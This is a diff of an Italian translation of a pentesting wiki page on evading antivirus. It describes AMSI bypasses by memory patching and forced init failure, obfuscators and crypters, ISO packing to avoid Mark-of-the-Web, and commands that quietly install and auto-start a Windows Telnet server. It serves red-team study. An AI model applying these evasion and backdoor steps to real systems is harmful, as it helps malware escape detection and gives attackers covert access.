|
||||
Poiché AMSI funziona principalmente con rilevamenti statici, quindi, modificare gli script che cerchi di caricare può essere un buon modo per evadere il rilevamento.
|
||||
|
||||
Tuttavia, AMSI ha la capacità di deoffuscare gli script anche se ha più livelli, quindi l'offuscamento potrebbe essere una cattiva opzione a seconda di come viene fatto. Questo rende non così semplice l'evasione. Anche se, a volte, tutto ciò che devi fare è cambiare un paio di nomi di variabili e andrà bene, quindi dipende da quanto qualcosa è stato segnalato.
|
||||
Tuttavia, AMSI ha la capacità di deoffuscare gli script anche se ha più strati, quindi l'offuscamento potrebbe essere una cattiva opzione a seconda di come viene fatto. Questo rende non così semplice evadere. Anche se, a volte, tutto ciò che devi fare è cambiare un paio di nomi di variabili e andrà bene, quindi dipende da quanto qualcosa è stato segnalato.
|
||||
|
||||
* **AMSI Bypass**
|
||||
* **Evasione AMSI**
|
||||
|
||||
Poiché AMSI è implementato caricando una DLL nel processo di powershell (anche cscript.exe, wscript.exe, ecc.), è possibile manometterlo facilmente anche eseguendo come utente non privilegiato. A causa di questo difetto nell'implementazione di AMSI, i ricercatori hanno trovato diversi modi per evadere la scansione di AMSI.
|
||||
|
||||
|
@ -204,7 +204,7 @@ Forzare il fallimento dell'inizializzazione di AMSI (amsiInitFailed) comporterà
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Bastava una riga di codice powershell per rendere AMSI inutilizzabile per il processo powershell attuale. Questa riga è stata ovviamente segnalata da AMSI stesso, quindi è necessaria qualche modifica per utilizzare questa tecnica.
|
||||
Tutto ciò che serviva era una riga di codice powershell per rendere AMSI inutilizzabile per il processo powershell attuale. Questa riga è stata ovviamente segnalata da AMSI stesso, quindi è necessaria qualche modifica per utilizzare questa tecnica.
|
||||
|
||||
Ecco un bypass AMSI modificato che ho preso da questo [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
|
||||
```powershell
|
||||
|
@ -224,13 +224,13 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
|
|||
|
||||
**Memory Patching**
|
||||
|
||||
Questa tecnica è stata inizialmente scoperta da [@RastaMouse](https://twitter.com/\_RastaMouse/) e implica trovare l'indirizzo per la funzione "AmsiScanBuffer" in amsi.dll (responsabile della scansione dell'input fornito dall'utente) e sovrascriverlo con istruzioni per restituire il codice per E\_INVALIDARG, in questo modo, il risultato della scansione effettiva restituirà 0, che viene interpretato come un risultato pulito.
|
||||
Questa tecnica è stata inizialmente scoperta da [@RastaMouse](https://twitter.com/\_RastaMouse/) e implica la ricerca dell'indirizzo per la funzione "AmsiScanBuffer" in amsi.dll (responsabile della scansione dell'input fornito dall'utente) e la sovrascrittura con istruzioni per restituire il codice per E\_INVALIDARG, in questo modo, il risultato della scansione effettiva restituirà 0, che viene interpretato come un risultato pulito.
|
||||
|
||||
{% hint style="info" %}
|
||||
Si prega di leggere [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) per una spiegazione più dettagliata.
|
||||
Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
|
||||
{% endhint %}
|
||||
|
||||
Ci sono anche molte altre tecniche utilizzate per bypassare AMSI con powershell, controlla [**questa pagina**](basic-powershell-for-pentesters/#amsi-bypass) e [questo repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) per saperne di più su di esse.
|
||||
Ci sono anche molte altre tecniche utilizzate per bypassare AMSI con powershell, controlla [**questa pagina**](basic-powershell-for-pentesters/#amsi-bypass) e [questo repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) per saperne di più.
|
||||
|
||||
O questo script che tramite memory patching patcherà ogni nuovo Powersh
|
||||
|
||||
|
@ -238,14 +238,14 @@ O questo script che tramite memory patching patcherà ogni nuovo Powersh
|
|||
|
||||
Ci sono diversi strumenti che possono essere utilizzati per **offuscare il codice C# in chiaro**, generare **modelli di metaprogrammazione** per compilare binari o **offuscare binari compilati** come:
|
||||
|
||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: offuscatore C#**
|
||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): L'obiettivo di questo progetto è fornire un fork open-source della suite di compilazione [LLVM](http://www.llvm.org/) in grado di fornire maggiore sicurezza software attraverso [l'offuscamento del codice](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) e la protezione contro manomissioni.
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator dimostra come utilizzare il linguaggio `C++11/14` per generare, al momento della compilazione, codice offuscato senza utilizzare alcuno strumento esterno e senza modificare il compilatore.
|
||||
* [**obfy**](https://github.com/fritzone/obfy): Aggiunge uno strato di operazioni offuscate generate dal framework di metaprogrammazione C++ template che renderà la vita della persona che desidera craccare l'applicazione un po' più difficile.
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz è un offuscatore binario x64 in grado di offuscare vari file pe diversi tra cui: .exe, .dll, .sys
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz è un offuscante binario x64 in grado di offuscare vari file pe diversi tra cui: .exe, .dll, .sys
|
||||
* [**metame**](https://github.com/a0rtega/metame): Metame è un semplice motore di codice metamorfico per eseguibili arbitrari.
|
||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator è un framework di offuscamento del codice a grana fine per linguaggi supportati da LLVM utilizzando ROP (programmazione orientata al ritorno). ROPfuscator offusca un programma a livello di codice assembly trasformando istruzioni normali in catene ROP, ostacolando la nostra concezione naturale del normale flusso di controllo.
|
||||
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt è un Crypter PE .NET scritto in Nim
|
||||
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt è un .NET PE Crypter scritto in Nim
|
||||
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor è in grado di convertire EXE/DLL esistenti in shellcode e poi caricarli
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
@ -256,14 +256,14 @@ Microsoft Defender SmartScreen è un meccanismo di sicurezza destinato a protegg
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen funziona principalmente con un approccio basato sulla reputazione, il che significa che le applicazioni scaricate raramente attiveranno SmartScreen, avvisando e impedendo all'utente finale di eseguire il file (anche se il file può ancora essere eseguito cliccando su Maggiori informazioni -> Esegui comunque).
|
||||
SmartScreen funziona principalmente con un approccio basato sulla reputazione, il che significa che le applicazioni scaricate raramente attiveranno SmartScreen, avvisando e impedendo all'utente finale di eseguire il file (anche se il file può comunque essere eseguito cliccando su Maggiori informazioni -> Esegui comunque).
|
||||
|
||||
**MoTW** (Mark of The Web) è un [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) con il nome di Zone.Identifier che viene creato automaticamente al momento del download di file da internet, insieme all'URL da cui è stato scaricato.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>Controllo dello Zone.Identifier ADS per un file scaricato da internet.</p></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
È importante notare che gli eseguibili firmati con un certificato di firma **fidato** **non attiveranno SmartScreen**.
|
||||
It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**.
|
||||
{% endhint %}
|
||||
|
||||
Un modo molto efficace per impedire che i tuoi payload ricevano il Mark of The Web è imballarli all'interno di qualche tipo di contenitore come un ISO. Questo accade perché il Mark-of-the-Web (MOTW) **non può** essere applicato a volumi **non NTFS**.
|
||||
|
@ -272,7 +272,7 @@ Un modo molto efficace per impedire che i tuoi payload ricevano il Mark of The W
|
|||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) è uno strumento che imballa i payload in contenitori di output per eludere il Mark-of-the-Web.
|
||||
|
||||
Esempio di utilizzo:
|
||||
Example usage:
|
||||
```powershell
|
||||
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
|
||||
|
||||
|
@ -308,7 +308,7 @@ La maggior parte dei framework C2 (sliver, Covenant, metasploit, CobaltStrike, H
|
|||
|
||||
* **Fork\&Run**
|
||||
|
||||
Comporta **l'innesco di un nuovo processo sacrificial**, iniettare il tuo codice malevolo di post-exploitation in quel nuovo processo, eseguire il tuo codice malevolo e, quando hai finito, terminare il nuovo processo. Questo ha sia vantaggi che svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene **al di fuori** del nostro processo di impianto Beacon. Ciò significa che se qualcosa nella nostra azione di post-exploitation va storto o viene catturato, c'è una **probabilità molto maggiore** che il nostro **impianto sopravviva.** Lo svantaggio è che hai una **maggiore probabilità** di essere catturato da **Rilevamenti Comportamentali**.
|
||||
Comporta **l'innesco di un nuovo processo sacrificial**, iniettare il tuo codice malevolo di post-exploitation in quel nuovo processo, eseguire il tuo codice malevolo e, quando hai finito, terminare il nuovo processo. Questo ha sia vantaggi che svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene **al di fuori** del nostro processo di impianto Beacon. Questo significa che se qualcosa nella nostra azione di post-exploitation va storto o viene catturato, c'è una **probabilità molto maggiore** che il nostro **impianto sopravviva.** Lo svantaggio è che hai una **maggiore probabilità** di essere catturato da **Rilevamenti Comportamentali**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -334,7 +334,7 @@ Il repo indica: Defender scansiona ancora gli script, ma utilizzando Go, Java, P
|
|||
|
||||
## Evasione Avanzata
|
||||
|
||||
L'evasione è un argomento molto complicato, a volte devi tenere conto di molte diverse fonti di telemetria in un solo sistema, quindi è praticamente impossibile rimanere completamente non rilevati in ambienti maturi.
|
||||
L'evasione è un argomento molto complicato, a volte devi tenere conto di molte diverse fonti di telemetria in un solo sistema, quindi è praticamente impossibile rimanere completamente non rilevato in ambienti maturi.
|
||||
|
||||
Ogni ambiente contro cui ti scontri avrà i propri punti di forza e di debolezza.
|
||||
|
||||
|
@ -351,7 +351,7 @@ Questo è anche un altro grande intervento di [@mariuszbit](https://twitter.com/
|
|||
### **Controlla quali parti Defender trova come malevole**
|
||||
|
||||
Puoi usare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** fino a **scoprire quale parte Defender** trova come malevola e te lo dividerà.\
|
||||
Un altro strumento che fa **la stessa cosa è** [**avred**](https://github.com/dobin/avred) con un'offerta web aperta che offre il servizio in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
Un altro strumento che fa **la stessa cosa è** [**avred**](https://github.com/dobin/avred) con un'offerta web aperta che fornisce il servizio in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Server Telnet**
|
||||
|
||||
|
@ -359,7 +359,7 @@ Fino a Windows 10, tutte le versioni di Windows venivano fornite con un **server
|
|||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
Fallo **iniziare** quando il sistema viene avviato e **eseguilo** ora:
|
||||
Fallo **partire** quando il sistema viene avviato e **eseguilo** ora:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
|
@ -536,7 +536,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
|||
* [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
* [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Utilizzare python per costruire esempi di iniettori:
|
||||
### Utilizzare python per un esempio di costruttori di iniezione:
|
||||
|
||||
* [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
|
@ -569,9 +569,9 @@ https://github.com/praetorian-code/vulcan
|
|||
|
||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|